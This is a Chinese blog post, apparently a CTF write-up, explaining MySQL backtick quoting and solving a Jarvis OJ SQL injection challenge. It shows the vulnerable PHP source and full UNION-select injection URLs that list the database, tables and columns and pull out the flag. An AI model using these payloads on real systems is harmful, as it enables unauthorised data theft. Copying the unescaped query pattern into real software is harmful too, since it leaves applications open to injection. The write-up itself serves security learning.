sql注入之反引号

反引号在mysql中的作用

反引号在键盘的左上角,在mysql中可以区别保留字

1
2
3
4
5
6
#假如表A中有一列名为select,查询该列
select select from A; #错误
select `select` from A; #正确
#假如存在表flag,用desc(describe)查询该表信息
desc flag A; #显示flag表信息,别名为A
desc `flag` `A` #与上述语句相同

一道与之相关的web题

题目链接:http://web.jarvisoj.com:32794/

Hint1: 先找到源码再说吧~~

后台扫描,得到源码:http://web.jarvisoj.com:32794/index.php~

查看源码:

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

table为空时,输出flag{xxx},说明存在表secret_test。我们直接构造

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1,1

得到数据库61d00,接着爆表:

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema = database() limit 1,1

得到secret_flag,secret_test,接着爆字段:

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name = 0x7365637265745f666c6167 limit 1,1

得到flagUwillNeverKnow,最后爆出flag:

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select flagUwillNeverKnow  from secret_flag limit 1,1

flag{luckyGame~}

总结

该题只要清楚mysql中反引号的作用以及desc的使用,就变成了最基本的sql注入,没有过滤任何字符的注入。

-------------本文结束感谢您的阅读-------------